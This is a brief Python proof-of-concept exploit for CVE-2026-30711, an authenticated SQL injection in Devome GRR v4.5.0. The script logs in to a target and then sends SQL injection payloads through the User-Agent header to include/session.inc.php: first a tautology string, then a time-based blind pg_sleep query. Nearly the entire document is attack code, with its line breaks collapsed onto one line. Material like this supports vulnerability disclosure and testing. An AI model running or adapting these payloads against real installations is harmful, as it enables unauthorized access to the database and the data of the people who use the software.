CVE-2026-30711 Devome GRR v4.5.0 SQL注入漏洞

import requests import sys # CVE-2026-30711 PoC - Authenticated SQL Injection in Devome GRR v4.5.0 # Target: include/session.inc.php via referer and user-agent parameters def exploit_sql_injection(target_url, username, password): """ Exploit authenticated SQL injection in Devome GRR """ login_url = f"{target_url}/login.php" session_url = f"{target_url}/include/session.inc.php" # Step 1: Authenticate to get valid session session = requests.Session() login_data = { 'username': username, 'password': password } resp = session.post(login_url, data=login_data) # Step 2: Inject SQL via User-Agent header sql_payload = "' OR '1'='1" # Basic SQL injection test headers = { 'User-Agent': sql_payload, 'Referer': 'http://example.com' } # Trigger the vulnerable code path response = session.get(session_url, headers=headers) # Step 3: Extract data via time-based blind SQL injection blind_sql = "'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--" headers['User-Agent'] = blind_sql response = session.get(session_url, headers=headers) print(f"[*] Request sent with payload: {blind_sql}") return response if __name__ == '__main__': if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) exploit_sql_injection(sys.argv[1], sys.argv[2], sys.argv[3])